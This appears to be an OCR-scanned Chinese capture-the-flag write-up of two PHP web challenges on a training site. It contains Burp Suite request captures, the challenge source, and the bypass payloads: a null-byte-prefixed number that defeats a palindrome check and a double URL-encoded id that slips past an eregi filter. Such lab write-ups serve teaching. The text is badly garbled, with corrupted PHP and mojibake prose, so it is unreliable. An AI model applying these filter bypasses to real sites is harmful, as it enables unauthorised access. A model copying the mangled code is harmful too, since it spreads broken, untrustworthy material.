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have a fun!!

A R EFGE R 2B RKARE, BT burpsuiteilBFE —T, HIL T —4 hint:

Target: http://ctf5.shiyanbar.com | # | L

Response

_[ Raw | Headers | Hex |

HTTP/1.1 200 OK

Date: Fri, 04 Jan 2019 05:04:05 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
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NINT: bCHZ5ar4usyp4are [ asc33a. X1
Content-Length: 12|

Connection: close

Content-Type: text/html

have a fun!!
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<?php
Sinfo = 7"
Sreq = [1;

$flag="xxxxxxxxxx”;

ini_set ("display_error”, false):
error_reporting (0)

if(lisset ($_POSTL number 1)) {
header ("hint :6c525af4059b4feTd8c33a. txt”):

die("have a fun!!”);
]
}

foreach ([§_POST] as Sglobal_var) {
foreach($global_var as Skey => $value) {
Svalue = trim($value) ;
is_string($value) && Sreq[Skey] = addslashes($value);
)
i
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function is_palindrome_number ($number) {
Snumber = strval (Snumber) ;
$1=0;
$j = strlen(Snumber) - 1;
while($i < $j) {
if ($number[$i] !== $number[$3]) {
return false;
b
Si++;
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return true;

if(is_numeric (5 REQUEST['number'])){
S$info="sorry, vyou cann't input a number!";
}elseif (Sreq['number'] !=strval (intval (Sreq['number']))) {
Sinfo = "number must be equal to it's integer!! ";

lelse{

Svaluel = intval (Sreq["number"]):
Svalue?2 = intval (strrev(sreq["number"])):
if (Svaluel!=sSvalue2){
$info="no, this is not a palindrome number!";
lelse{

if(is_palindrome_number($req["number"]))”

Sinfa = "nical [SwvaTlnall da 2 nalindroma nmimhar T
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lelse{
S5info=5flag;
}

}

echo Sinfo;
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[Target ] Proxy TSpider TScanner Tlntruder TRepeater TSequencer TDecoder TComparer TExtender TProject options TUser options TAIerts ]

J Intercept THTTP history TWebSockets history TOptions ]

w Request to http://ctf5.shiyanbar.com:80 [106.2.25.10]

[ Forward J [ Drop J [ Intercept is on ] [ Action J

[ Raw | Params rHeaders THex]

GET request to /web/PHP/index.php

Type Name Value

Cookie Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3 1546677619,1546741883,1546924627,1547176212
Cookie Hm_cv_34d6f7353ab0915a4c582e4516dffbc3 1*visitor*101382,nickName:se¥pa 040 0a0Ja00a®]
Cookie PHPSESSID c3lsbeeapebh8qiSnaeBs1u092

Cookie Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3 1547176824

number 2147483647

Burp Suite Community Edition v1.7.33 - Tempaorary Project
Burp Intruder Repeater Window Help
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| larget I Froxy |-Z)pIQEI' | ocanner | intruaer | Repeater |bequencer

vecoaer | vomparer | Exienaer | Froject options | USEer options | Aleris

J Intercept THTTP history TWebSockets history TOptions ]

@ Request to http://ctf5.shiyanbar.com:80 [106.2.25.10]

§ Forward J L

Raw | Params | Headers | Hex

Drop

Intercept is on

Action

Name | Value

POST Iweb/PHP/index.php HTTP/1.1

Referer http://www.shiyanbar.com/ctf/2008

User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/

Accept-Language

Accept
Upgrade-Insecure-Requests
Accept-Enceding

Host

Cookie

Connection

Content-Type
Content-Length

number=%002147483647

M. Intercept is on’, B A% EFlag:
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ctf5.shiyanbar.com

FLAG{

2.5 55

B HH: http://ctf5.shiyanbar.com/DUTCTF/index.php

TFMaE, HILTE:

zh-CN

text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

1

gzip, deflate

ctf5.shiyanbar.com
Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1546677618,1546741883,1546924627,1547176!
close

application/x-www-form-urlencoded

20

Notice: Use of undefined constant id - assumed 'id" in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 2

Notice: Undefined index: id in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 2

Deprecated: Function eregi() is deprecated in C:\h43a1W3\phpstudy\WWW\DUTCTR\index.php on line 2

Notice: Use of undefined constant id - assumed 'id" in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 7

Notice: Use of undefined constant id - assumed 'id" in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 7

Notice: Undefined index: id in C:\h43aT1W3\phpstudy\WWW\DUTCTF\index.php on line 7

Notice: Use of undefined constant id - assumed 'id" in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 8

Can you authenticate to this website? index.php.txt


http://ctf5.shiyanbar.com/DUTCTF/index.php
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<{?php

if(eregi ("hackerDJ”, $_GET[id])) {
echo("<p>not allowed!</p>");
exit();

}

$_GET[id] = urldecode ($_GET[id]) :
if($_GET[id] == "hackerD]”)
{

echo "<prAccess granted!</p>”;

echo "<{p>flag: ook} (/p>”;
}

i

<br><br>
Can you authenticate to this website?

XBAIEIE R LB, T AR 5 8 T AR 245 Blflag K 264, X hackerDJ' #4TURLGwHY, 13
F%68%61%63%6B%65%72%44%4A, N J5453] T H 5 HH:

&« — O o (0 ctf5.shiyanbar.com/DUTCTE/ index. php?id=%68%61%063%06B%65%/72%44%4A

Notice: Use of undefined constant id - assumed 'id" in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 2

Deprecated: Function eregi() is deprecated in C:\h43a1W3\phpstudy\WWW\DUTCTRF\index.php on line 2

not allowed!



HHRATU, BHE—KIKR, B
$1%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37 %32%25%34%34%25%34 %41, XA LA
I

&« - O I} @® ctfsshiyanbar.com/DUTCTF/index php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%3 19%632%25%34%34%25%:

Notice: Use of undefined constant id - assumed 'id" in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 2
Deprecated: Function eregi() is deprecated in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 2

Notice: Use of undefined constant id - assumed 'id" in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 7
Notice: Use of undefined constant id - assumed 'id" in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 7

Notice: Use of undefined constant id - assumed 'id" in C:\h43a1W3\phpstudy\WWW\DUTCTF\index.php on line 8

Access granted!

flag: DUTCTF/{ i e

Can you authenticate to this website? index.php.txt
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